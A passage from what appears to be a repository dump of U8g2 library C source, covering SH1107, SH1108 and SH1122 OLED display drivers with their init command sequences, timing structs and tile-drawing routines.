U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_seeed_128x128_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\nstatic const uint8_t u8x8_d_sh1107_80x128_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0xAE), /*display off*/\n\tU8X8_C(0x00), /*set lower column address*/\n\tU8X8_C(0x10), /*set higher column address*/\n\tU8X8_C(0x20), /* Set Memory addressing mode (0x20/0x21) */\n\tU8X8_C(0x81), /*contract control*/\n\tU8X8_C(0x6f), /*b0*/\n\tU8X8_C(0xA0), /*set segment remap*/\n\tU8X8_C(0xC0), /*Com scan direction*/\n\tU8X8_C(0xA4), /*Disable Entire Display On (0xA4/0xA5)*/\n\tU8X8_C(0xA6), /*normal / reverse*/\n\tU8X8_C(0xD5), /*set osc division*/\n\tU8X8_C(0x91),\n\tU8X8_C(0xD9), /*set pre-charge period*/\n\tU8X8_C(0x22),\n\tU8X8_C(0xdb), /*set vcomh*/\n\tU8X8_C(0x3f),\n\tU8X8_C(0xA8), /*multiplex ratio*/\n\tU8X8_C(0x4F), /*duty = 1/80*/\n\tU8X8_C(0xD3), /*set display offset*/\n\tU8X8_C(0x68), /*18*/\n\tU8X8_C(0xdc), /*Set Display Start Line*/\n\tU8X8_C(0x00),\n\tU8X8_C(0xad), /*set charge pump enable*/\n\tU8X8_C(0x8a), /*Set DC-DC enable (a=0:disable, a=1:enable) */\n//\tOLED_Clear(),\n\tU8X8_C(0xAF), /*display ON*/ \n \n\n\n  //U8X8_CA(0x0dc, 0x000),\t\t/* start line */\n // U8X8_CA(0x081, 0x02f), \t\t/* [2] set contrast control */\n\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\nstatic uint8_t u8x8_d_sh1107_TK078F288_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1107_64x128_noname_display_info);\n      break;\n    */\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* sh1107 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n\n      //u8x8_cad_SendCmd(u8x8, 0x040 ); /* set line offset to 0 */\n\n      // set column address\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x >> 4));\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x & 15))); /* probably wrong, should be SendCmd */\n      \n      // set page address\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));  /* probably wrong, should be SendCmd */\n    \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\t/*\n\tdo\n\t{\n\t  u8x8_cad_SendData(u8x8, 8, ptr);\n\t  ptr += 8;\n\t  c--;\n\t} while( c > 0 );\n\t*/\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\nstatic const u8x8_display_info_t u8x8_TK078F288_80x128_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 100,\t\t/* cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 100,\t/* cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 2,\t\t// 400kHz does not work, but 200kHz seems to be ok\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* sh1107: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 10,\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 80,\n  /* pixel_height = */ 128\n};\nuint8_t u8x8_d_sh1107_tk078f288_80x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_sh1107_TK078F288_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_80x128_init_seq); \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_TK078F288_80x128_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_sh1108.c",
    "content": "/*\n\n  u8x8_d_sh1108.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2018, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n/* \n  code copyied from sh1107\n  SH1108: 160x160 controller from Sino Wealth\n*/\n\n\n\nstatic const uint8_t u8x8_d_sh1108_noname_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_sh1108_noname_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_sh1108_160x160_noname_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_sh1108_160x160_noname_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic uint8_t u8x8_d_sh1108_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1108_64x128_noname_display_info);\n      break;\n    */\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1108_64x128_noname_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1108_noname_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1108_noname_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1108_160x160_noname_powersave0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1108_160x160_noname_powersave1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* sh1108 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n\n      //u8x8_cad_SendCmd(u8x8, 0x040 ); /* set line offset to 0 */\n\n      // set column address\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x >> 4));\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x & 15))); \n      \n      // set page address\n      u8x8_cad_SendCmd(u8x8, 0x0b0 ); \t\t// page cmd is a two byte command\n      u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); \n    \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*==================================================*/\n\n/* issue #619, 160x160 OLED */\nstatic const uint8_t u8x8_d_sh1108_160x160_noname_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n    \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x060),\t\t/* clock divide ratio and oscillator frequency */\n  U8X8_CA(0x0a9, 0x003), \t\t/* set display resolution, 0=64x160, 1=96x160, 2=128x160, 3=160x160 */\n  U8X8_C(0x020),\t\t                /* addressing mode */\n  U8X8_CA(0x081, 0x01f), \t\t/* set contrast control */\n  U8X8_CA(0x0ad, 0x80),\t\t\t/* DC/DC control 80=Use external Vpp, 89=Use internal DC/DC*/\n  U8X8_C(0x030),\t\t\t\t/* set discharge VSL level, 0x030..0x03f */\n  U8X8_CA(0x0d9, 0x028), \t\t/* pre-charge period */\n  U8X8_CA(0x0db, 0x035), \t\t/* vcomh deselect level */    \n  U8X8_CA(0x0dc, 0x035),\t\t/* VSEGM Deselect Level */\n\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_sh1108_160x160_noname_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 60,\n  /* pre_chip_disable_wait_ns = */ 120,\n  /* reset_pulse_width_ms = */ 100, \t/* sh1108: 3 us */\n  /* post_reset_wait_ms = */ 100, /* sometimes OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 100,\t\t/* sh1108: 100ns */\n  /* sck_pulse_width_ns = */ 100,\t/* sh1108: 100ns */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* sh1108: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 20,\n  /* tile_height = */ 20,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 160,\n  /* pixel_height = */ 160\n};\n\nuint8_t u8x8_d_sh1108_160x160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_sh1108_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1108_160x160_noname_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1108_160x160_noname_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*==================================================*/\n\n\n/* issue #1998, 128x160 OLED */\nstatic const uint8_t u8x8_d_sh1108_128x160_noname_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n    \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x060),\t\t/* clock divide ratio and oscillator frequency */\n  U8X8_CA(0x0a9, 0x003), \t\t/* set display resolution, 0=64x160, 1=96x160, 2=128x160, 3=160x160 */\n  U8X8_C(0x020),\t\t                /* addressing mode */\n  U8X8_CA(0x081, 0x01f), \t\t/* set contrast control */\n  U8X8_CA(0x0ad, 0x80),\t\t\t/* DC/DC control 80=Use external Vpp, 89=Use internal DC/DC*/\n  U8X8_C(0x030),\t\t\t\t/* set discharge VSL level, 0x030..0x03f */\n  U8X8_CA(0x0d9, 0x028), \t\t/* pre-charge period */\n  U8X8_CA(0x0db, 0x035), \t\t/* vcomh deselect level */    \n  U8X8_CA(0x0dc, 0x035),\t\t/* VSEGM Deselect Level */\n\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_sh1108_128x160_noname_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 60,\n  /* pre_chip_disable_wait_ns = */ 120,\n  /* reset_pulse_width_ms = */ 100, \t/* sh1108: 3 us */\n  /* post_reset_wait_ms = */ 100, /* sometimes OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 100,\t\t/* sh1108: 100ns */\n  /* sck_pulse_width_ns = */ 100,\t/* sh1108: 100ns */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* sh1108: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 20,\n  /* default_x_offset = */ 16,\n  /* flipmode_x_offset = */ 16,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 160\n};\n\nuint8_t u8x8_d_sh1108_128x160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_sh1108_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1108_128x160_noname_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1108_128x160_noname_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*==================================================*/\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_sh1122.c",
    "content": "/*\n\n  u8x8_d_sh1122.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  Idea: SH1122 is a horizontal device, which doesn't support u8x8\n  However in the similar SSD1362 device, we do the correct tile conversion,\n    so maybe takeover code from SSD1362 to SH1122, so that SH1122 can also\n    support u8x8\n\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t u8x8_d_sh1122_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* sh1122: display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_sh1122_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* sh1122: display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n\n\n/*\n  input:\n    one tile (8 Bytes)\n  output:\n    Tile for SH1122 (32 Bytes)\n*/\n\n/*\nstatic uint8_t u8x8_sh1122_to32_dest_buf[32];\n\nstatic uint8_t *u8x8_sh1122_8to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr)\n{\n  uint8_t v;\n  uint8_t a,b;\n  uint8_t i, j;\n  uint8_t *dest;\n  \n  for( j = 0; j < 4; j++ )\n  {\n    dest = u8x8_sh1122_to32_dest_buf;\n    dest += j;\n    a =*ptr;\n    ptr++;\n    b = *ptr;\n    ptr++;\n    for( i = 0; i < 8; i++ )\n    {\n      v = 0;\n      if ( a&1 ) v |= 0xf0;\n      if ( b&1 ) v |= 0x0f;\n      *dest = v;\n      dest+=4;\n      a >>= 1;\n      b >>= 1;\n    }\n  }\n  \n  return u8x8_sh1122_to32_dest_buf;\n}\n*/\n\n\nstatic uint8_t u8x8_write_byte_to_16gr_device(u8x8_t *u8x8, uint8_t b)\n{\n  static uint8_t buf[4];\n  static uint8_t map[4] = { 0, 0x00f, 0x0f0, 0x0ff };\n  buf [3] = map[b & 3];\n  b>>=2;\n  buf [2] = map[b & 3];\n  b>>=2;\n  buf [1] = map[b & 3];\n  b>>=2;\n  buf [0] = map[b & 3];\n  return u8x8_cad_SendData(u8x8, 4, buf);\n}\n\nuint8_t u8x8_d_sh1122_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x; \n  uint8_t y, c, i;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */\n    /*\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1122_256x64_init_seq);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1122_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1122_powersave1_seq);\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* sh1122 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 2;\t\t// 4 Mar 2022: probably this needs to be 4, but this device is call with x=0 only\n      x += u8x8->x_offset;\t\t\n    \n      y = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      y *= 8;\n          \n      \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\t/* number of tiles */\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\t/* data ptr to the tiles */\n      for( i = 0; i < 8; i++ )\n      {\n\tu8x8_cad_SendCmd(u8x8, 0x0b0 );\t/* set row address */\n\tu8x8_cad_SendArg(u8x8, y);\n\tu8x8_cad_SendCmd(u8x8, x & 15 );\t/* lower 4 bit*/\n\tu8x8_cad_SendCmd(u8x8, 0x010 | (x >> 4) );\t/* higher 3 bit */\t  \n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\t/* number of tiles */\n\n\twhile (  c > 0 )\n\t{\n\t  u8x8_write_byte_to_16gr_device(u8x8, *ptr);\n\t  c--;\n\t  ptr++;\n\t}\n\ty++;\n      }\n\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*=========================================================*/\n\nstatic const uint8_t u8x8_d_sh1122_256x64_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t/* remap */\n  U8X8_C(0x0c8),\t\t/* remap */\n  U8X8_C(0x060),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_sh1122_256x64_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t/* remap */\n  U8X8_C(0x0c0),\t\t/* remap */\n  U8X8_C(0x040),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_sh1122_256x64_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 10, \t/* sh1122: 10 us */\n  /* post_reset_wait_ms = */ 20, \t/* */\n  /* sda_setup_time_ns = */ 125,\t\t/* sh1122: cycle time is 250ns, so use 250/2 */\n  /* sck_pulse_width_ns = */ 125,\t/* sh1122: cycle time is 250ns, so use 250/2 */\n  /* sck_clock_hz = */ 40000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns  */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 10,\n  /* write_pulse_width_ns = */ 150,\t/* sh1122: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 32,\t\t/* 256 pixel, so we require 32 bytes for this */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\t/* this is the byte offset (there are two pixel per byte with 4 bit per pixel) */\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 256,\n  /* pixel_height = */ 64\n};\n\n\nstatic const uint8_t u8x8_d_sh1122_256x64_init_seq[] = {\n    \n  U8X8_DLY(1),\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_DLY(1),\n  \n  U8X8_C(0xae),\t\t                /* display off */\n  U8X8_C(0x40),\t\t\t\t/* display start line */  \n  U8X8_C(0x0a0),\t\t/* remap */\n  U8X8_C(0x0c0),\t\t/* remap */\n  U8X8_CA(0x81, 0x80),\t\t\t/* set display contrast  */  \n  U8X8_CA(0xa8, 0x3f),\t\t\t/* multiplex ratio 1/64 Duty (0x0F~0x3F) */  \n  U8X8_CA(0xad, 0x81),\t\t\t/* use buildin DC-DC with 0.6 * 500 kHz */  \n  \n  U8X8_CA(0xd5, 0x50),\t\t\t/* set display clock divide ratio (lower 4 bit)/oscillator frequency (upper 4 bit)  */  \n  U8X8_CA(0xd3, 0x00),\t\t\t/* display offset, shift mapping ram counter */  \n  U8X8_CA(0xd9, 0x22),\t\t\t/* pre charge (lower 4 bit) and discharge(higher 4 bit) period */  \n  U8X8_CA(0xdb, 0x35),\t\t\t/* VCOM deselect level */  \n  U8X8_CA(0xdc, 0x35),\t\t\t/* Pre Charge output voltage */  \n  U8X8_C(0x030),\t\t\t\t/* discharge level */\n\n  U8X8_DLY(1),\t\t\t\t\t/* delay  */\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence 